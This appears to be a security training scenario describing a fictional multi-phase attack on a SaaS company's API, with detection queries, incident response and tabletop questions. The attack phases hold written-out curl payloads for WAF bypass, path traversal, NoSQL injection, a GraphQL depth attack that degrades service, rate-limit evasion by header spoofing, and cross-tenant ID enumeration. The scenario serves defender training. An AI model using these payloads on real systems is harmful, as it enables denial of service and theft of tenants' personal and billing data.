SC-086: API Gateway Bypass — Operation GATE CRASHER¶
Scenario Overview¶
| Field | Detail |
|---|---|
| ID | SC-086 |
| Category | Application Security / API Security / Web Application Firewall Bypass |
| Severity | High |
| ATT&CK Tactics | Initial Access, Execution, Collection |
| ATT&CK Techniques | T1190 (Exploit Public-Facing Application), T1059 (Command and Scripting Interpreter), T1213 (Data from Information Repositories) |
| Target Environment | API-first SaaS platform with REST and GraphQL endpoints behind an API gateway, WAF, and rate limiting layer running on cloud infrastructure |
| Difficulty | ★★★★☆ |
| Duration | 2–3 hours |
| Estimated Impact | WAF bypass enables unrestricted API access; GraphQL depth attack causes partial denial of service; BOLA/IDOR exposes 2,800 user records including PII and billing data; rate limit evasion allows credential stuffing at 50x normal speed; 8-hour containment and remediation |
Narrative¶
Prism Digital, a fictional B2B SaaS company, operates an API-first platform providing project management and invoicing services. Their public API serves 1,200 tenant organizations and processes 25 million API calls per day. The API gateway sits at api.prism.example.com (192.0.2.40), fronted by a cloud WAF and rate limiting service.
The platform exposes both REST endpoints (/api/v2/) and a GraphQL endpoint (/graphql) through the same gateway. Authentication uses OAuth 2.0 with JWT bearer tokens. The API gateway enforces rate limits (1,000 requests/minute per API key), schema validation, and WAF rules for SQL injection, XSS, and common attack patterns.
In April 2026, a threat actor group designated RATE PHANTOM — an API exploitation group specializing in business logic abuse and API security bypasses — targets Prism's API through a multi-vector attack chain. The attack combines WAF rule evasion, GraphQL query complexity exploitation, rate limit bypassing via header manipulation, and BOLA (Broken Object Level Authorization) vulnerabilities to achieve mass data exfiltration.
Attack Flow¶
graph TD
A[Phase 1: API Reconnaissance<br/>Discover endpoints, schemas, and gateway behavior] --> B[Phase 2: WAF Rule Bypass<br/>Evade input validation via encoding and fragmentation]
B --> C[Phase 3: GraphQL Depth Exploitation<br/>Nested queries cause resource exhaustion]
C --> D[Phase 4: Rate Limit Evasion<br/>Header spoofing and key rotation bypass throttling]
D --> E[Phase 5: BOLA/IDOR Discovery<br/>Access other tenants' resources via ID manipulation]
E --> F[Phase 6: Mass Data Exfiltration<br/>Automated harvesting of tenant data at scale]
F --> G[Phase 7: Detection & Response<br/>Anomalous query patterns and authorization failures] Phase Details¶
Phase 1: API Reconnaissance¶
ATT&CK Technique: T1190 (Exploit Public-Facing Application)
RATE PHANTOM begins with passive and active reconnaissance of Prism's API surface. The attacker registers a legitimate trial account to obtain valid API credentials, then systematically maps the API surface — endpoints, authentication mechanisms, rate limits, error responses, and gateway behavior.
# Simulated API reconnaissance (educational only)
# Attacker has a legitimate trial account with API key
# Step 1: Discover API endpoints via documentation and probing
$ curl -s https://api.prism.example.com/api/v2/ \
-H "Authorization: Bearer REDACTED" \
| python3 -m json.tool
{
"endpoints": {
"users": "/api/v2/users",
"projects": "/api/v2/projects",
"invoices": "/api/v2/invoices",
"organizations": "/api/v2/organizations",
"billing": "/api/v2/billing",
"graphql": "/graphql"
},
"version": "2.14.3",
"documentation": "https://docs.prism.example.com/api"
}
# Step 2: Test rate limits
$ for i in $(seq 1 20); do
curl -s -o /dev/null -w "%{http_code}" \
https://api.prism.example.com/api/v2/users/me \
-H "Authorization: Bearer REDACTED"
echo " request $i"
done
# 200 request 1
# 200 request 2
# ...
# 200 request 15
# 429 request 16 ← Rate limit hit at ~15 req/sec burst
# Step 3: Fingerprint the WAF
$ curl -s -w "\n%{http_code}" \
"https://api.prism.example.com/api/v2/users?name=test'OR+1=1--" \
-H "Authorization: Bearer REDACTED"
# {"error": "Request blocked by security policy", "request_id": "req-7a3f2b"}
# 403 ← WAF detected SQL injection
# Step 4: Discover GraphQL schema via introspection
$ curl -s https://api.prism.example.com/graphql \
-H "Authorization: Bearer REDACTED" \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name fields { name type { name } } } } }"}' \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
for t in data['data']['__schema']['types']:
if not t['name'].startswith('__'):
fields = [f['name'] for f in (t.get('fields') or [])]
if fields:
print(f'{t[\"name\"]}: {fields[:5]}...')
"
# User: ['id', 'email', 'name', 'organization', 'role']...
# Project: ['id', 'name', 'owner', 'members', 'invoices']...
# Invoice: ['id', 'amount', 'status', 'billingAddress', 'lineItems']...
# Organization: ['id', 'name', 'members', 'projects', 'billingPlan']...
# BillingPlan: ['id', 'name', 'price', 'features', 'paymentMethod']...
# Key findings:
# - GraphQL introspection is ENABLED (schema fully exposed)
# - No query depth or complexity limits observed
# - Rate limits are per-API-key, not per-endpoint
# - WAF blocks basic SQLi patterns but may miss encoding variants
Phase 2: WAF Rule Bypass¶
ATT&CK Technique: T1190 (Exploit Public-Facing Application)
RATE PHANTOM tests multiple WAF bypass techniques to evade the input validation layer. The WAF uses pattern-matching rules for common attack signatures, but the attacker discovers that Unicode normalization, double URL encoding, and JSON-specific injection vectors bypass the rule set.
# Simulated WAF bypass techniques (educational only)
# Each technique demonstrates a class of evasion — NOT working exploits
# Bypass 1: Unicode normalization bypass
# WAF blocks: ' OR 1=1--
# Bypass: use Unicode fullwidth characters
$ curl -s -w "\n%{http_code}" \
"https://api.prism.example.com/api/v2/users" \
-H "Authorization: Bearer REDACTED" \
-H "Content-Type: application/json" \
-d '{"filter": "name = \u0027test\u0027 \uff2f\uff32 1=1"}'
# {"users": [...]}
# 200 ← WAF bypassed — Unicode fullwidth OR not in rule set
# Bypass 2: Double URL encoding
# WAF blocks: ../../../etc/passwd
# Bypass: double-encode path traversal characters
$ curl -s -w "\n%{http_code}" \
"https://api.prism.example.com/api/v2/projects/%252e%252e%252f%252e%252e%252finternal" \
-H "Authorization: Bearer REDACTED"
# {"error": "Not found", "path": "../../internal"}
# 404 ← WAF bypassed (path resolved after double-decode)
# Bypass 3: JSON content-type confusion
# WAF inspects query parameters but not deeply nested JSON
$ curl -s -w "\n%{http_code}" \
"https://api.prism.example.com/api/v2/users" \
-H "Authorization: Bearer REDACTED" \
-H "Content-Type: application/json" \
-d '{"filter": {"$where": "this.role == \"admin\""},
"sort": {"field": "created", "order": "desc"}}'
# {"users": [{"id": "usr-00001", "name": "testuser", "role": "admin"}]}
# 200 ← NoSQL operator injection via JSON — WAF rule gap
# Bypass 4: HTTP parameter pollution
# Send duplicate parameters — WAF checks first, app uses last
$ curl -s -w "\n%{http_code}" \
"https://api.prism.example.com/api/v2/users?role=user&role=admin" \
-H "Authorization: Bearer REDACTED"
# {"users": [...admin users...]}
# 200 ← Parameter pollution — WAF validated "role=user"
# WAF bypass summary:
# - Unicode normalization: BYPASSED
# - Double URL encoding: BYPASSED (path traversal possible)
# - JSON operator injection: BYPASSED
# - HTTP parameter pollution: BYPASSED
# - Standard SQLi/XSS patterns: BLOCKED (rules are effective for known patterns)
Phase 3: GraphQL Depth Exploitation¶
ATT&CK Technique: T1059 (Command and Scripting Interpreter)
RATE PHANTOM exploits the GraphQL endpoint's lack of query depth and complexity limits. By constructing deeply nested queries that follow circular relationships (User -> Organization -> Members -> Projects -> Owner -> Organization...), the attacker causes the API server to consume excessive CPU and memory, degrading performance for all tenants.
# Simulated GraphQL depth exploitation (educational only)
# Demonstrating query complexity attack — NOT a working DoS tool
# Deeply nested query exploiting circular relationships
$ curl -s https://api.prism.example.com/graphql \
-H "Authorization: Bearer REDACTED" \
-H "Content-Type: application/json" \
-d '{
"query": "{ users(first: 100) {
id name email
organization {
id name
members(first: 100) {
id name
projects(first: 50) {
id name
owner {
organization {
members(first: 100) {
projects(first: 50) {
owner {
organization {
members(first: 100) {
id email name
}
}
}
}
}
}
}
}
}
}
}}"
}'
# Response (after 12 seconds — normally <200ms):
# HTTP 200 with partial data + errors
# Server resource consumption spiked:
# CPU: 94% (from baseline 35%)
# Memory: 4.2 GB (from baseline 1.8 GB)
# Response time (other requests): 8.5s (from baseline 180ms)
# GraphQL complexity analysis:
# - Query depth: 8 levels (no limit enforced)
# - Estimated resolved fields: 100 * 100 * 50 * 100 * 50 * 100 = 2.5 billion
# - Actual resolved (before timeout): ~450,000 records
# - The query counted as 1 request against the rate limit
# Batch query attack — multiple operations in single request
$ curl -s https://api.prism.example.com/graphql \
-H "Authorization: Bearer REDACTED" \
-H "Content-Type: application/json" \
-d '[
{"query": "{ user(id: \"usr-00001\") { id email organization { billingPlan { paymentMethod { last4 } } } } }"},
{"query": "{ user(id: \"usr-00002\") { id email organization { billingPlan { paymentMethod { last4 } } } } }"},
{"query": "{ user(id: \"usr-00003\") { id email organization { billingPlan { paymentMethod { last4 } } } } }"},
{"query": "{ user(id: \"usr-00004\") { id email organization { billingPlan { paymentMethod { last4 } } } } }"},
{"query": "{ user(id: \"usr-00005\") { id email organization { billingPlan { paymentMethod { last4 } } } } }"}
]'
# 5 queries in 1 HTTP request — rate limiter counts as 1 request
# Effective rate amplification: 5x per request
Phase 4: Rate Limit Evasion¶
ATT&CK Technique: T1190 (Exploit Public-Facing Application)
RATE PHANTOM discovers that the rate limiter uses the X-Forwarded-For header to identify clients (common when behind a CDN or load balancer). By rotating this header value, the attacker can reset the rate limit counter, effectively bypassing throttling. Combined with API key rotation from multiple trial accounts, the attacker achieves 50x the normal request rate.
# Simulated rate limit evasion (educational only)
# Technique 1: X-Forwarded-For header spoofing
# Rate limiter uses XFF to identify unique clients
$ for ip_suffix in $(seq 1 50); do
curl -s -o /dev/null -w "%{http_code} " \
https://api.prism.example.com/api/v2/users \
-H "Authorization: Bearer REDACTED" \
-H "X-Forwarded-For: 192.168.1.$ip_suffix"
done
# 200 200 200 200 200 200 200 200 200 200 200 200 200 200 200...
# All 50 requests succeed — each XFF value gets its own rate limit bucket
# Technique 2: API key rotation with multiple trial accounts
# Attacker registered 10 trial accounts with unique API keys
# Each key has a 1,000 req/min limit
# Total capacity: 10,000 req/min (10x single key)
# Simulated key rotation script (educational only)
# keys=("key-REDACTED-01" "key-REDACTED-02" ... "key-REDACTED-10")
# for key in "${keys[@]}"; do
# for i in $(seq 1 100); do
# curl -s https://api.prism.example.com/api/v2/users/$target_id \
# -H "Authorization: Bearer $key" &
# done
# done
# Technique 3: Endpoint aliasing
# Different URL patterns route to the same handler but have separate rate limit buckets
$ curl -s https://api.prism.example.com/api/v2/users/usr-00001 \
-H "Authorization: Bearer REDACTED"
# Rate limit bucket: /api/v2/users/{id}
$ curl -s https://api.prism.example.com/api/v2/users/usr-00001?_=1712000001 \
-H "Authorization: Bearer REDACTED"
# Rate limit bucket: /api/v2/users/{id}?_=1712000001 (different bucket!)
$ curl -s "https://api.prism.example.com/api/v2/users/usr-00001;.json" \
-H "Authorization: Bearer REDACTED"
# Rate limit bucket: /api/v2/users/{id};.json (different bucket!)
# Combined evasion capacity:
# XFF rotation (50 IPs) x key rotation (10 keys) x endpoint aliasing (5 variants)
# = 2,500 rate limit buckets x 1,000 req/min each
# Effective rate: theoretically unlimited (limited only by network bandwidth)
Phase 5: BOLA/IDOR Discovery¶
ATT&CK Technique: T1213 (Data from Information Repositories)
With rate limits effectively neutralized, RATE PHANTOM probes for Broken Object Level Authorization (BOLA) vulnerabilities. The attacker discovers that several REST endpoints authorize based on authentication (is the user logged in?) but not authorization (does the user own this resource?). By enumerating sequential and predictable resource IDs, the attacker can access other tenants' data.
# Simulated BOLA/IDOR discovery (educational only)
# Attacker's own user ID: usr-00500 (org: org-00042)
# Test 1: Direct object reference to another user's profile
$ curl -s https://api.prism.example.com/api/v2/users/usr-00001 \
-H "Authorization: Bearer REDACTED" \
| python3 -m json.tool
{
"id": "usr-00001",
"name": "testuser",
"email": "testuser@example.com",
"organization": {
"id": "org-00001",
"name": "Example Corp"
},
"role": "admin",
"created": "2024-03-15T10:30:00Z"
}
# HTTP 200 — BOLA CONFIRMED: Can access any user by ID
# Test 2: Access another org's invoices
$ curl -s https://api.prism.example.com/api/v2/invoices?org_id=org-00001 \
-H "Authorization: Bearer REDACTED" \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
print(f'Invoices returned: {len(data[\"invoices\"])}')
for inv in data['invoices'][:3]:
print(f' {inv[\"id\"]}: ${inv[\"amount\"]:,.2f} - {inv[\"status\"]}')
"
# Invoices returned: 47
# inv-00001: $12,500.00 - paid
# inv-00002: $12,500.00 - paid
# inv-00003: $15,000.00 - pending
# BOLA CONFIRMED: Can access any org's invoices
# Test 3: Access another org's project data
$ curl -s https://api.prism.example.com/api/v2/projects?org_id=org-00001 \
-H "Authorization: Bearer REDACTED" \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
print(f'Projects returned: {len(data[\"projects\"])}')
for p in data['projects'][:3]:
print(f' {p[\"id\"]}: {p[\"name\"]} ({len(p[\"members\"])} members)')
"
# Projects returned: 12
# proj-00001: Project Alpha (8 members)
# proj-00002: Project Beta (5 members)
# proj-00003: Internal Tooling (3 members)
# BOLA CONFIRMED: Full project data including member lists
# Test 4: Access billing/payment information
$ curl -s https://api.prism.example.com/api/v2/billing/org-00001 \
-H "Authorization: Bearer REDACTED" \
| python3 -m json.tool
{
"org_id": "org-00001",
"plan": "enterprise",
"monthly_cost": 15000.00,
"payment_method": {
"type": "credit_card",
"last4": "REDACTED",
"brand": "visa"
},
"billing_address": {
"street": "123 Example St",
"city": "Anytown",
"state": "CA",
"zip": "90210"
}
}
# BOLA CONFIRMED: Billing details including payment info
# BOLA vulnerability summary:
# Affected endpoints: /users/{id}, /invoices, /projects, /billing/{org_id}
# Authorization model: authentication-only (no object-level checks)
# Enumerable IDs: sequential (usr-00001 to usr-03500, org-00001 to org-01200)
Phase 6: Mass Data Exfiltration¶
ATT&CK Technique: T1213 (Data from Information Repositories)
Combining rate limit evasion with BOLA vulnerabilities, RATE PHANTOM automates mass data harvesting across all accessible tenants. The attacker enumerates user IDs, organization IDs, and invoice IDs to extract comprehensive datasets from the platform.
# Simulated mass data exfiltration (educational only)
# Automated harvesting script using rate limit evasion + BOLA
# Exfiltration timeline:
[2026-04-01 14:00:00 UTC] Phase 1 — User enumeration
Target: usr-00001 through usr-03500
Method: XFF rotation + key rotation (2,500 req/min effective)
Duration: 90 seconds
Result: 2,847 valid user records (some IDs not found)
Data: name, email, organization, role
[2026-04-01 14:02:00 UTC] Phase 2 — Organization data
Target: org-00001 through org-01200
Method: same evasion techniques
Duration: 30 seconds
Result: 1,198 valid organizations
Data: name, members, projects, billing plan
[2026-04-01 14:03:00 UTC] Phase 3 — Invoice harvesting
Target: all invoices for discovered organizations
Method: GraphQL batch queries (5 orgs per request)
Duration: 5 minutes
Result: 14,220 invoices totaling $18.4M in billing data
Data: amounts, dates, billing addresses
[2026-04-01 14:08:00 UTC] Phase 4 — Billing/payment data
Target: billing endpoints for all 1,198 organizations
Method: REST endpoint enumeration
Duration: 30 seconds
Result: 1,198 billing records
Data: plan type, cost, payment method (last4), billing address
# Total exfiltration summary:
# Users: 2,847 records (PII: email, name, org membership)
# Organizations: 1,198 records (business data)
# Invoices: 14,220 records (financial data)
# Billing: 1,198 records (payment info)
# Total time: ~10 minutes
# Total data volume: ~45 MB
# Requests made: ~8,500
# Requests detected by rate limiter: 0 (all evaded)
Phase 7: Detection & Response¶
The attack is detected through multiple monitoring channels:
Channel 1 (T+15 minutes): GraphQL Performance Alert — Application performance monitoring detects that the GraphQL endpoint's P99 latency spiked from 200ms to 12 seconds, and server CPU utilization exceeded 90%. The alert triggers investigation of recent GraphQL queries.
Channel 2 (T+45 minutes): Authorization Failure Pattern — While most BOLA requests succeeded, a small percentage returned 404 (non-existent IDs). The API gateway logs show a single API key accessing 2,800+ distinct user IDs, far exceeding normal patterns.
Channel 3 (T+1 hour): DLP Alert — The data loss prevention system detects that API responses to a single client session contain data from 1,198 distinct organizations, compared to the normal pattern of 1 organization per session.
# Simulated detection timeline (educational only)
[2026-04-01 14:05:22 UTC] APM — GRAPHQL PERFORMANCE ALERT
Source: api.prism.example.com
Alert: GRAPHQL_LATENCY_SPIKE
Details:
- P99 latency: 12,400ms (baseline: 200ms)
- CPU utilization: 94% (baseline: 35%)
- Concurrent GraphQL queries: 15 with depth > 5
- Top offending query depth: 8 levels
Severity: HIGH
Action: On-call engineer paged
[2026-04-01 14:42:15 UTC] API GATEWAY — ACCESS PATTERN ANOMALY
Source: api-gateway-logs
Alert: EXCESSIVE_RESOURCE_ENUMERATION
Details:
- API key: key-REDACTED-01
- Unique user IDs accessed: 2,847
- Unique org IDs accessed: 1,198
- Time window: 10 minutes
- Normal pattern: 1-5 unique user IDs per session
- X-Forwarded-For values: 50 distinct IPs (suspicious rotation)
Risk Score: 95/100
Action: API key suspended + SOC escalation
[2026-04-01 15:01:33 UTC] DLP — CROSS-TENANT DATA ACCESS
Source: api-response-monitor
Alert: MULTI_TENANT_DATA_EXPOSURE
Details:
- Session accessed data from 1,198 organizations
- Normal pattern: 1 organization per session
- Data types exposed: PII, billing, invoices
- Total records in responses: 19,463
Severity: CRITICAL
Action: Incident response activated
Detection Queries:
// KQL — Detect GraphQL depth/complexity abuse
ApiGatewayLogs
| where TimeGenerated > ago(6h)
| where RequestPath == "/graphql"
| where ResponseTimeMs > 5000
| extend QueryDepth = extract("depth=(\\d+)", 1, QueryAnalysis)
| extend ResolvedFields = extract("fields=(\\d+)", 1, QueryAnalysis)
| where toint(QueryDepth) > 4 or toint(ResolvedFields) > 10000
| summarize SlowQueries = count(),
AvgResponseMs = avg(ResponseTimeMs),
MaxDepth = max(toint(QueryDepth))
by ClientIP, ApiKey, bin(TimeGenerated, 15m)
| where SlowQueries > 3
| project TimeGenerated, ClientIP, ApiKey, SlowQueries,
AvgResponseMs, MaxDepth
// KQL — Detect BOLA/IDOR via excessive resource enumeration
ApiGatewayLogs
| where TimeGenerated > ago(6h)
| where RequestPath matches regex "/api/v2/(users|invoices|projects|billing)/[a-z]+-\\d+"
| extend ResourceType = extract("/api/v2/(\\w+)/", 1, RequestPath)
| extend ResourceId = extract("/api/v2/\\w+/([\\w-]+)", 1, RequestPath)
| summarize UniqueResources = dcount(ResourceId),
TotalRequests = count()
by ApiKey, ResourceType, bin(TimeGenerated, 15m)
| where UniqueResources > 50
| project TimeGenerated, ApiKey, ResourceType,
UniqueResources, TotalRequests
// KQL — Detect rate limit evasion via XFF rotation
ApiGatewayLogs
| where TimeGenerated > ago(6h)
| summarize UniqueXFF = dcount(XForwardedFor),
TotalRequests = count(),
UniqueEndpoints = dcount(RequestPath)
by ApiKey, bin(TimeGenerated, 5m)
| where UniqueXFF > 10 and TotalRequests > 100
| project TimeGenerated, ApiKey, UniqueXFF,
TotalRequests, UniqueEndpoints
// KQL — Detect cross-tenant data access patterns
ApiGatewayLogs
| where TimeGenerated > ago(6h)
| where ResponseCode == 200
| extend OrgId = extract("org[_-](\\d+)", 1, strcat(RequestPath, RequestBody))
| where isnotempty(OrgId)
| summarize UniqueOrgs = dcount(OrgId),
TotalRequests = count()
by ApiKey, bin(TimeGenerated, 15m)
| where UniqueOrgs > 5
| project TimeGenerated, ApiKey, UniqueOrgs, TotalRequests
# SPL — Detect GraphQL depth/complexity abuse
index=api_gateway sourcetype=api_access
request_path="/graphql" response_time_ms>5000
| eval query_depth=tonumber(mvindex(split(query_analysis, "depth="), 1))
| eval resolved_fields=tonumber(mvindex(split(query_analysis, "fields="), 1))
| where query_depth > 4 OR resolved_fields > 10000
| bin _time span=15m
| stats count as slow_queries,
avg(response_time_ms) as avg_response_ms,
max(query_depth) as max_depth
by client_ip, api_key, _time
| where slow_queries > 3
| table _time, client_ip, api_key, slow_queries,
avg_response_ms, max_depth
# SPL — Detect BOLA/IDOR via excessive resource enumeration
index=api_gateway sourcetype=api_access
request_path="/api/v2/*"
| rex field=request_path "/api/v2/(?<resource_type>\w+)/(?<resource_id>[\w-]+)"
| where isnotnull(resource_id)
| bin _time span=15m
| stats dc(resource_id) as unique_resources,
count as total_requests
by api_key, resource_type, _time
| where unique_resources > 50
| table _time, api_key, resource_type, unique_resources, total_requests
# SPL — Detect rate limit evasion via XFF rotation
index=api_gateway sourcetype=api_access
| bin _time span=5m
| stats dc(x_forwarded_for) as unique_xff,
count as total_requests,
dc(request_path) as unique_endpoints
by api_key, _time
| where unique_xff > 10 AND total_requests > 100
| table _time, api_key, unique_xff, total_requests, unique_endpoints
# SPL — Detect cross-tenant data access patterns
index=api_gateway sourcetype=api_access
response_code=200
| rex field=request_path "org[_-](?<org_id>\d+)"
| rex field=request_body "org[_-](?<org_id_body>\d+)"
| eval org_id=coalesce(org_id, org_id_body)
| where isnotnull(org_id)
| bin _time span=15m
| stats dc(org_id) as unique_orgs,
count as total_requests
by api_key, _time
| where unique_orgs > 5
| table _time, api_key, unique_orgs, total_requests
Incident Response:
# Simulated incident response (educational only)
[2026-04-01 15:10:00 UTC] ALERT: API Security Incident Response activated
[2026-04-01 15:15:00 UTC] ACTION: Immediate containment
- All 10 attacker API keys REVOKED
- Rate limiting switched to strict IP-based mode
- X-Forwarded-For trust disabled (direct client IP only)
- GraphQL depth limit set to 4 (emergency change)
[2026-04-01 15:30:00 UTC] ACTION: BOLA remediation
- Emergency patch: add org-scoped authorization checks to:
/api/v2/users/{id}
/api/v2/invoices
/api/v2/projects
/api/v2/billing/{org_id}
- All endpoints now verify requesting user belongs to target org
[2026-04-01 16:00:00 UTC] ACTION: WAF rule update
- Unicode normalization rules added
- JSON operator injection patterns added
- HTTP parameter pollution detection enabled
- GraphQL introspection disabled for non-admin tokens
[2026-04-01 17:00:00 UTC] ACTION: Rate limiting redesign
- Rate limits now based on authenticated identity (not XFF)
- Per-endpoint rate limits (not just global)
- GraphQL query cost counting (complexity-aware rate limiting)
- Trial accounts: reduced API limits (100 req/min)
[2026-04-01 23:00:00 UTC] ACTION: Impact assessment
User records exposed: 2,847
Organization records exposed: 1,198
Invoice records exposed: 14,220
Billing records exposed: 1,198
Total affected tenants: 1,198 (notification required)
Breach notification: initiated under applicable regulations
Decision Points (Tabletop Exercise)¶
Decision Point 1 — Pre-Incident
Your API serves both REST and GraphQL endpoints behind the same gateway. What different security controls does each protocol require? How do you enforce query complexity limits on GraphQL while maintaining a good developer experience?
Decision Point 2 — During Detection
The GraphQL performance spike is your first alert. It could be a legitimate user running a complex report, a bug in a client application, or an attack. How do you triage this without blocking legitimate API consumers? What additional data points do you need?
Decision Point 3 — Rate Limit Failure
You discover that your rate limiter can be bypassed by rotating the X-Forwarded-For header. This is a design flaw in how the rate limiter identifies clients. What is the fastest fix that does not break legitimate users behind proxies or CDNs?
Decision Point 4 — Post-Incident
The BOLA vulnerability affected 4 major endpoints. Your API has 47 endpoints total. How do you systematically verify that all endpoints enforce object-level authorization? What testing approach scales across your entire API surface?
Lessons Learned¶
Key Takeaways
-
BOLA/IDOR is the #1 API vulnerability (OWASP API Top 10) — Authentication alone is not authorization. Every API endpoint that returns or modifies a resource must verify that the authenticated user has permission to access that specific resource. Automated testing with tools like AuthZ matrices can catch these issues before production.
-
GraphQL requires dedicated security controls — Depth limiting, complexity analysis, query cost calculation, and introspection disabling are all essential. A single GraphQL query can be equivalent to thousands of REST requests. Treat GraphQL complexity as a security boundary, not just a performance concern.
-
Rate limiting must be based on authenticated identity, not client IP — Header-based client identification (X-Forwarded-For, X-Real-IP) is trivially spoofable. Rate limits should be tied to the authenticated API key or user identity and enforced per-endpoint, not just globally.
-
WAF rules are necessary but insufficient for API security — WAFs excel at blocking known attack patterns in traditional web traffic. APIs — especially those accepting JSON, GraphQL, or custom content types — require application-level security validation. WAFs should be one layer, not the only layer.
-
GraphQL introspection exposes the entire attack surface — Leaving introspection enabled in production gives attackers a complete map of your data model, relationships, and query capabilities. Disable introspection for non-admin users and use persisted queries where possible.
-
Trial accounts are reconnaissance platforms — Attackers commonly register legitimate trial accounts to map API surfaces, test rate limits, and discover vulnerabilities before launching attacks. Apply stricter rate limits and monitoring to trial/free-tier accounts.
MITRE ATT&CK Mapping¶
| Technique ID | Technique Name | Phase |
|---|---|---|
| T1190 | Exploit Public-Facing Application | Initial Access (API reconnaissance + WAF bypass) |
| T1059 | Command and Scripting Interpreter | Execution (GraphQL query exploitation) |
| T1213 | Data from Information Repositories | Collection (BOLA/IDOR data harvesting) |
| T1190 | Exploit Public-Facing Application | Defense Evasion (rate limit bypass) |
| T1530 | Data from Cloud Storage Object | Collection (cross-tenant data access) |